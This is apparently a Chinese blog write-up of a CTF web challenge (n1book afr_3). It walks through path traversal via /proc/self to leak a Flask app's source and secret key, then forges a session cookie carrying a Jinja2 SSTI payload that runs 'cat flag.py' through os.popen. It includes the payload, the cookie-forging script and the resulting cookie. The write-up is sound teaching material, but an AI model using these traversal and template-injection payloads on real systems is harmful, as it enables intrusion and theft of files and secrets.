【第一章 web入门】afr_3——模板注入与proc文件夹

题目来源n1book,buu上的环境

  • 看题

    url中提供了name参数,类似在路径中进行了文件名查询然后展示:

    随便输入一个数字:

    说明肯定题目要求我们利用这个文件读取漏洞。但是输入flag之后显示no permission。所以尝试其他方法。

  • proc目录

    在linux中的proc目录是一种文件系统,但是它是一种虚拟文件系统,存储了当前内核运行状态的一些文件,可以在其中查看到当前系统硬件以及运行进程的信息。

    目录中存在许多数字命名的子目录,数字为当前系统运行进程的进程号:

    用ll命令查看详细信息:

    下面解释进程文件夹中一些重要文件:

    • cmdline:启动当前进程的完成命令

    • environ:指向当前进程的环境变量列表,大写字母为变量名,小写字母为变量值:

    • status:记录当前进程的内存信息

    • cwd:是指向当前进程运行目录的符号链接,访问后能看到指定进程的运行目录:

      可以看到29439号进程的运行路径为/home/jay:

      并且/proc/29439/cwd是直接链接到/home/jay,可以通过/proc/29439/cwd来访问/home/jay下的文件。

    下面解释一下proc目录中常见文件:

    • /proc/cmdline :记录启动时传递至内核的相关信息

    • /proc/net:记录网络相关设置,比如/proc/net/arp就记录了系统的arp表:

    • /proc/self:表示当前进程目录,当某个进程想访问自己的目录时就可以访问该目录,这样就可以省略获取进程pid的过程。

  • 继续看题

    有了上面的背景知识就有了思路,可以看到上面一共三层路径,那么进入/proc/self/environ看看本进程的环境变量:

    http://bc536aa0-1952-405e-9901-7c54ce570dcb.node4.buuoj.cn:81/article?name=../../../proc/self/environ

    这里是一个假的flag。

    继续看一下cmdline看看是哪个程序:

    http://bc536aa0-1952-405e-9901-7c54ce570dcb.node4.buuoj.cn:81/article?name=../../../proc/self/cmdline

    说明进程的启动文件为server.py。

    利用proc/self/cwd查看server.py内容,因为server.py就存储在proc/self/cwd指向的文件夹中:

    http://bc536aa0-1952-405e-9901-7c54ce570dcb.node4.buuoj.cn:81/article?name=../../../proc/self/cwd/server.py

    用chatgpt换行之后:

    #!/usr/bin/python  #声明解释器,如果server.py具有可执行权限,可以直接用./server.py来运行
    
    import os
    from flask import Flask, render_template, request, url_for, redirect, session, render_template_string
    from flask_session import Session app = Flask(__name__)
    execfile('flag.py')
    execfile('key.py')
    FLAG = flag
    app.secret_key = key @app.route("/n1page", methods=["GET", "POST"])
    def n1page():
    if request.method != "POST":
    return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
    n1code = n1code.replace(".", "")
    n1code = n1code.replace("_", "")
    n1code = n1code.replace("{", "")
    n1code = n1code.replace("}", "")
    if "n1code" not in session or session['n1code'] is None:
    session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
    template = '''<h1>N1 Page</h1>
    <div class="row">
    <div class="col-md-6 col-md-offset-3 center">
    Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
    </div>
    </div>
    ''' % session['n1code']
    session['n1code'] = None
    return render_template_string(template) @app.route("/", methods=["GET"])
    def index():
    return render_template("main.html") @app.route('/article', methods=['GET'])
    def article():
    error = 0
    if 'name' in request.args:
    page = request.args.get('name')
    else:
    page = 'article'
    if page.find('flag') >= 0:
    page = 'notallowed.txt'
    try:
    template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
    template = e
    return render_template('article.html', template=template) if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

    在n1page方法里用到了render_template_string()方法,并且也用到了格式化字符串,可以判断这里是存在模板注入的,具体可以参考上一篇博客:Flask模板注入

    分析代码:在这里我们可以看到对我们的输入n1code进行了过滤,没有办法通过传入n1code的值来实现注入,但是可以看到其实渲染的判断条件是session['n1code'],所以如果我们可以直接更改session的值就能直接操控输出,这里session被app.secret_key进行了加密。

  • 编写payload:

    • 查看一下key.py:

      http://7543717c-441a-470f-80c0-a2b53f624208.node4.buuoj.cn:81/article?name=../../../proc/self/cwd/key.py

      输出:

      #!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

      根据Flask模板注入,并在本地的linux系统中进行了测试,object子类下的第101个类中的__builtins__属性中包含了eval函数,因此命令执行的payload为:

      {{''.__class__.__mro__[1].__subclasses__()[100].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag.py").read()')}}
    • 根据key的值在本地搭建环境进行查看payload对应的加密后session:

      #coding=utf-8
      from flask import render_template_string
      from flask import Flask
      from flask import request,session
      from flask_session import Session app=Flask(__name__) #创建flask类
      app.secret_key='Drmhze6EPcv0fN_81Bj-nA' @app.route('/',methods=["GET","POST"])#路由
      def index():
      session['n1code']="{{''.__class__.__mro__[1].__subclasses__()[100].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag.py\").read()')}}"
      return 'payload:%s'%session['n1code'] if __name__ == '__main__':
      app.run('127.0.0.1',port=8000)

      运行脚本,直接复制请求头中的session:

      .eJwdisEKwyAQBX-leFm9SLz2V4wsxtggGBU1hSL-eze5zZs3gyXl8u7Zm40BIBFdtK0hEp01I2plCNu1Pd7Tw4VWy3LbkEJ_yiPmzUb6NCBuV4g9JFpgNPivjWA4-XCWXKnnK8ttZUKWXHyi5Wx_faI9ZPndunq7cwFiTjb_PN82fA.ZED8dA.1QLwolkHh8ufM6dBgE065DdKDQo

总结

  • proc系统环境的查看

  • flask模板注入

参考链接

proc文件系统:[https://www.cnblogs.com/DswCnblog/p/5780389.html]

【第一章 web入门】afr_3——模板注入与proc文件夹的更多相关文章

  1. Java Persistence with MyBatis 3(中文版) 第一章 MyBatis入门

    本章将涵盖以下话题: ž  MyBatis是什么? ž  为什么选择MyBatis? ž  MyBatis安装配置 ž  域模型样例 1.1 MyBatis是什么 MyBatis是一个简化和实现了Ja ...

  2. 第一章 Kubernetes入门

    第一章 Kubernetes入门 kubernetes是基于容器技术的分布式架构领先方案,是一个完备的分布式系统支撑平台. kubernetes带来的好处:1)全面拥抱微服务:2)统可以随时随地整体“ ...

  3. MySQL----MySQL数据库入门----第一章 数据库入门

    第一章 数据库入门 1.1 数据库基础知识 1.1.1 数据库概述 数据不仅包括普通意义上的数字,还包括文字.图像.声音等.也就是说,凡是在计算机中用来描述事物的记录都可称作数据. 数据库的基本特点: ...

  4. Kettle解决方案: 第一章ETL入门

    第一章ETL入门 1.1 OLPT和数据仓库对比 普通的事务系统和商业智能系统(BI)有什么区别? 1个独立的普通事务系统也被称为在线事务处理系统(OLTP) 商业智能系统也常被称为决策支持系统(DS ...

  5. Go Web 编程 第一章 Web相关概念

    第一章 Go与Web应用 Go学习群:415660935 1.1 Web应用 在计算机的世界里,应用(application)是一个与用户进行交互,并完成用户特定任务的软件程序.而Web应用则是部署在 ...

  6. mvc_第一章后入门_第一遍_控制器和视图

    在掌握了数据库访问方法之后,我们来看几个mvc的入门程序,借此熟悉mvc的常见工作方式. 一.创建项目,显示一个最简单的页面. 要点:1.为了突出重点,不使用模版:2.项目类型为mvc,便于获得vs添 ...

  7. 第一章 web应用程序开发原理

    [总结] 1.计算机模式  :主机  哑端计算机模式 优点:速度快  反应快 维护修理方便 数据安全性高 缺点:单台计算机安全操作 应用程序难维护 难以跨出平台 客户端 客户计算机模式 优点:速度快 ...

  8. Android初级教程理论知识(第一章快速入门)

    一.综合介绍. Android项目的目录结构 Activity:应用被打开时显示的界面 src:项目代码 R.java:项目中所有资源文件的资源id Android.jar:Android的jar包, ...

  9. Hadoop入门进阶步步高(二)-文件夹介绍

    二.Hadoop文件夹结构 这里重点介绍几个文件夹bin.conf及lib文件夹. 1.$HADOOP_HOME/bin文件夹 文件名 说明 hadoop 用于运行hadoop脚本命令,被hadoop ...

  10. Knockout应用开发指南 第一章:入门

    2011-11-21 14:20 by 汤姆大叔, 20165 阅读, 17 评论, 收藏,  编辑 1    Knockout简介 (Introduction) Knockout是一个轻量级的UI类 ...

随机推荐

  1. Lamada List 去重及其它操作示例

    import java.util.concurrent.ConcurrentHashMap; import java.util.function.Function; import java.util. ...

  2. 【WALT】scale_exec_time() 代码详解

    @ 目录 [WALT]scale_exec_time() 代码详解 代码展示 代码逻辑: 为什么归一化? ⑴ 将 CPU cycles 转换为 CPU 当前频率 ⑵ 归一化 delta [WALT]s ...

  3. Redis的设计与实现(1)-SDS简单动态字符串

    现在在高铁上, 赶着春节回家过年, 无座站票, 电脑只能放行李架上, 面对着行李架撸键盘--看过<Redis的设计与实现>这本书, 突然想起, 便整理下SDS的内容, 相对后面的章节, 算 ...

  4. C语言变量常量

    目录 前言 一.数据类型 1.整形 2.浮点型 3.字符型 二.变量的操作 1.变量的创建 2.变量的使用 2.1 变量的赋值 2.2 变量的加减 2.3 变量的隐式类型转换 2.4 强制类型转换 3 ...

  5. 2021-3-9 xml序列化和反序列化

    class XmlHelp { #region 调用 /// <summary> /// xml添加 /// </summary> /// <param name=&qu ...

  6. GoRedisLock:Golang保障数据一致性的分布式锁解决方案

    在现代分布式系统中,多个节点之间共享资源是常见的需求.然而,并发访问共享资源可能导致数据不一致性和竞争条件.为了解决这些问题,我们需要引入分布式锁.GoRedisLock是一个出色的分布式锁库,它结合 ...

  7. linux vim 无权限保存解决办法

    通常在vim编辑文件时往往会忘记文件权限问题, 在wq保存时发现权限不足,这时候输入以下命令解决: w! sudo tee % 命令解析: w! {cmd} 指示 保存时执行额外命令: tee 用于将 ...

  8. 如何用windows任务视图管理多个程序,提高.net开发效率

    在 Windows 操作系统中,任务栏是一个非常重要的工具栏,用来显示当前正在运行的程序和任务.如果同时运行了很多程序,任务栏上的图标就会变得非常拥挤,不方便管理和切换.为了提高工作效率,可以通过任务 ...

  9. 基于redis6搭建集群

    前言 系统版本:CentOS 7 redis版本:redis6.2.4,官方tar.gz包 两台服务器: 172.50.11.11 端口7002.7004.7006 172.50.12.11 端口70 ...

  10. 程序后台运行方法:使用守护进程 或 screen软件

    我们常需要SSH远程登录到Linux 服务器,经常运行一些需要很长时间才能完成的任务,在此期间不能关掉窗口或者断开连接,否则这个任务会被杀掉,一切就半途而废了. 可以使用以下两个方法: 方法一:noh ...